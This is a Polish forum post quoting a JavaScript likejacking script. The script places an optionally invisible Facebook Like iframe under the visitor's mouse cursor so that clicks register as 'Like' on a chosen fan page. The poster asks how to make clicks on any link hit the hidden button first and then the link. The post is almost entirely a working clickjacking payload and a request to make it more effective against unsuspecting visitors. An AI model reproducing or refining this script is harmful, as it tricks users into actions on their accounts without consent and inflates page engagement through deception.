Mam taki skrypt:
var czas = 10000; // podaj czas w milisekundach, 1 sekunda = 1000, 5 sekund = 5000 var widocznosc = 1; // widoczność przycisku "Lubie to!", 1 - widoczny, 0 - niewidoczny var id = "kwejk.fan"; // wszystko co znajduje się po www.facebook.com/ var dziala = 1; // 1 - system włączony, 0 - system wyłączony // PONIŻEJ NIE DOKONUJ ŻADNYCH ZMIAN!!!!!!! if(widocznosc == 1){ var wid = "opacity:100;"; } else if(widocznosc == 0){ var wid = "opacity:0;"; } else{ var wid = "opacity:100;"; } function wylacz(){ document.getElementById("facebook").style.display=" none"; } window.setTimeout("wylacz();", + czas); document.write("<div style='position:absolute;display:block;width:110px;"+ wid +"' id='facebook' onclick='wylacz();' >"); if(dziala == 1){ document.write('<iframe onclick="wylacz();" id="facebookframe" name="facebookframe" src="http://www.facebook.com/plugins/like.php?app_id=100138080079182&href=http%3A%2F%2Ffacebook.com/'+ id +'&send=false&layout=button_count&width=110&show_faces=false&action=like&colorscheme=light&font&height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:110px; height:21px;" allowTransparency="true"></iframe>'); } document.write('</div>'); $(document).mousemove(function(e){ $('#facebook').css('left',e.pageX-2); $('#facebook').css('top',e.pageY-7); });
Jednak on co prawda daje przycisk na stronie, ale gdy najerzdza się na link to wtedy ten przycisk się jakbym chowa pod tym linkiem i podczas kilknięcia nie klika się w przycisk tylko w link. Podsumowując, chciałbym aby klikając w jakiś link, klikało nam najpierw w przycisk, a potem w link.